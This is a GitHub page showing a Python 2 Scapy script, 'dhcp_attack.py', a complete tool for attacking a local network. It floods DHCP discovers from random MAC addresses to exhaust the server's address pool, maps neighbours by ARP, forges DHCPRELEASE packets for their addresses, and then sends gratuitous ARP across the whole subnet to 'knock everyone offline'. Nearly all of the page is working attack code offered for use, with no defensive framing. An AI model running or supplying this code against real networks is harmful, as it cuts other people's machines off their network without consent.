-
Notifications
You must be signed in to change notification settings - Fork 16
Expand file tree
/
Copy pathdhcp_attack.py
More file actions
279 lines (230 loc) · 7.69 KB
/
dhcp_attack.py
File metadata and controls
279 lines (230 loc) · 7.69 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
#! /usr/bin/env python
# -*- coding: utf-8 -*-
"""
DHCP exhaustion attack plus.
Usage:
dhcp_attack.py [-d -h] <interface>
"""
from scapy.all import *
import string
import binascii
import signal
import sys
import threading
import socket
import struct
import getopt
conf.checkIPaddr = False
interface = "lo"
verbose = False
Debug = False
def checkArgs():
global Field, Value
try:
opts, args = getopt.getopt(sys.argv[1:], "hd")
except getopt.GetoptError, err:
# print help information and exit:
print str(err) # will print something like "option -a not recognized"
usage()
sys.exit(2)
for o, a in opts:
if o in ("-d,--debug"):
global verbose
verbose = True
elif o in ("-h", "--help"):
usage()
sys.exit()
else:
assert False, "unhandled option"
if len(args) == 1:
global interface
interface = args[0]
else:
usage()
sys.exit(2)
def signal_handler(signal, frame):
print 'Exit'
t1.kill_received = True
t2.kill_received = True
sys.exit(0)
######################################
# Necessary Network functions not included in scapy
#
def randomMAC():
mac = [0x00, 0x0c, 0x29,
random.randint(0x00, 0x7f),
random.randint(0x00, 0xff),
random.randint(0x00, 0xff)]
return ':'.join(map(lambda x: "%02x" % x, mac))
def toNum(ip):
"convert decimal dotted quad string to long integer"
return struct.unpack('L', socket.inet_aton(ip))[0]
def get_ip(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915, # SIOCGIFADDR
struct.pack('256s', ifname[:15])
)[20:24])
def get_if_net(iff):
for net, msk, gw, iface, addr in read_routes():
if (iff == iface and net != 0L):
return ltoa(net)
warning("No net address found for iface %s\n" % iff);
def get_if_ip(iff):
for net, msk, gw, iface, addr in read_routes():
if (iff == iface and net != 0L):
return addr
warning("No net address found for iface %s\n" % iff);
def calcCIDR(mask):
mask = mask.split('.')
bits = []
for c in mask:
bits.append(bin(int(c)))
bits = ''.join(bits)
cidr = 0
for c in bits:
if c == '1': cidr += 1
return str(cidr)
def unpackMAC(binmac):
mac=binascii.hexlify(binmac)[0:12]
blocks = [mac[x:x+2] for x in xrange(0, len(mac), 2)]
return ':'.join(blocks)
##########################################################
#
# ARP and create map of LAN neighbors
#
def neighbors():
global dhcpsip,subnet,nodes
nodes={}
m=randomMAC()
net=dhcpsip+"/"+calcCIDR(subnet)
ans,unans = srp(Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=net,psrc=dhcpsip), timeout=8,
filter="arp and arp[7] = 2")
for request,reply in ans:
nodes[reply.hwsrc]=reply.psrc
print "%15s - %s " % (reply.psrc, reply.hwsrc)
#
# send release for our neighbors
#
def release():
global dhcpsmac,dhcpsip,nodes
print "*** Sending DHCPRELEASE for neighbors "
myxid=random.randint(1, 900000000)
#
#iterate over all ndoes and release their IP from DHCP server
for cmac,cip in nodes.iteritems():
dhcp_release = Ether(src=cmac,dst=dhcpsmac)/IP(src=cip,dst=dhcpsip)/UDP(sport=68,dport=67)/BOOTP(ciaddr=cip,chaddr=[mac2str(cmac)],xid=myxid,)/DHCP(options=[("message-type","release"),("server_id",dhcpsip),("client_id",chr(1),mac2str(cmac)),"end"])
sendp(dhcp_release,verbose=0,iface=interface)
print "Releasing %s - %s"%(cmac,cip)
if verbose: print "%r"%dhcp_release
#
#now knock everyone offline
#
def garp():
global dhcpsip,subnet
pool=Net(dhcpsip+"/"+calcCIDR(subnet))
for ip in pool:
m=randomMAC()
arpp = Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/ARP(hwsrc=m,psrc=ip,hwdst="00:00:00:00:00:00",pdst=ip)
sendp(arpp,verbose=0,iface=interface)
print "Knocking %s offline, goodbye"%ip
if verbose: print "%r"%arpp
#
# loop and send Discovers
#
class send_dhcp(threading.Thread):
def __init__ (self):
threading.Thread.__init__(self)
self.kill_received = False
def run(self):
global timer,dhcpdos
while not self.kill_received and not dhcpdos:
m=randomMAC()
myxid=random.randint(1, 900000000)
hostname=''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
dhcp_discover = Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(m)],xid=myxid)/DHCP(options=[("message-type","discover"),("hostname",hostname),"end"])
print "\n\n\nSending DHCPDISCOVER on " + interface
sendp(dhcp_discover,verbose=0,iface=interface)
time.sleep(timer)
#
#
# sniff DHCP Offers and ACK
#
class sniff_dhcp(threading.Thread):
def __init__ (self):
threading.Thread.__init__(self)
self.filter = "icmp or (udp and src port 67 and dst port 68)"
self.kill_received = False
self.dhcpcount=0
def run(self):
global dhcpdos
while not self.kill_received and not dhcpdos:
sniff(filter=self.filter,prn=self.detect_dhcp,store=0,timeout=3,iface=interface)
print "timeout waiting on dhcp packet count %d"%self.dhcpcount
self.dhcpcount+=1
if self.dhcpcount==5: dhcpdos=True
def detect_dhcp(self,pkt):
global dhcpsmac,dhcpsip,subnet
if DHCP in pkt:
if pkt[DHCP] and pkt[DHCP].options[0][1] == 2:
self.dhcpcount=0
dhcpsip = pkt[IP].src
dhcpsmac = pkt[Ether].src
for opt in pkt[DHCP].options:
if opt[0] == 'subnet_mask':
subnet=opt[1]
break
myip=pkt[BOOTP].yiaddr
sip=pkt[BOOTP].siaddr
localxid=pkt[BOOTP].xid
localm=unpackMAC(pkt[BOOTP].chaddr)
myhostname=''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
print("DHCPOFFER handing out IP: "+myip)
if verbose: print("DHCPOFFER detected from " + pkt[Ether].src,sip + " on " + interface + ", handing out IP: "+myip)
dhcp_req = Ether(src=localm,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(localm)],xid=localxid)/DHCP(options=[("message-type","request"),("server_id",sip),("requested_addr",myip),("hostname",myhostname),("param_req_list","pad"),"end"])
sendp(dhcp_req,verbose=0,iface=interface)
print "sent DHCP Request for "+myip
elif ICMP in pkt:
if pkt[ICMP].type==8:
myip=pkt[IP].dst
mydst=pkt[IP].src
print "ICMP request from " + mydst + " for " + myip + " on " + interface
icmp_req=Ether(src=randomMAC(),dst=pkt.src)/IP(src=myip,dst=mydst)/ICMP(type=0,id=pkt[ICMP].id,seq=pkt[ICMP].seq)/"12345678912345678912"
if verbose: print "%r"%icmp_req
#sendp(icmp_req,verbose=0,iface=interface)
#print "ICMP response from "+myip+" to "+mydst
#
#
# MAIN()
#
def main(args):
checkArgs()
signal.signal(signal.SIGINT, signal_handler)
global t1,t2,t3,dhcpdos,dhcpsip,dhcpmac,subnet,nodes,timer
dhcpsip=None
dhcpsmac=None
subnet=None
nodes={}
dhcpdos=False
timer=1
t1=sniff_dhcp()
t1.start()
t2=send_dhcp()
t2.start()
while dhcpsip==None:
time.sleep(1)
print "waiting for first DHCP Server response on " + interface
neighbors()
release()
while not dhcpdos:
time.sleep(5)
print "waiting for DOS"
print "DHCP Exhausted, knock all remaining hosts offline"
time.sleep(10)
garp()
print "All done"
def usage():
print __doc__
if __name__ == '__main__':
sys.exit(not main(sys.argv))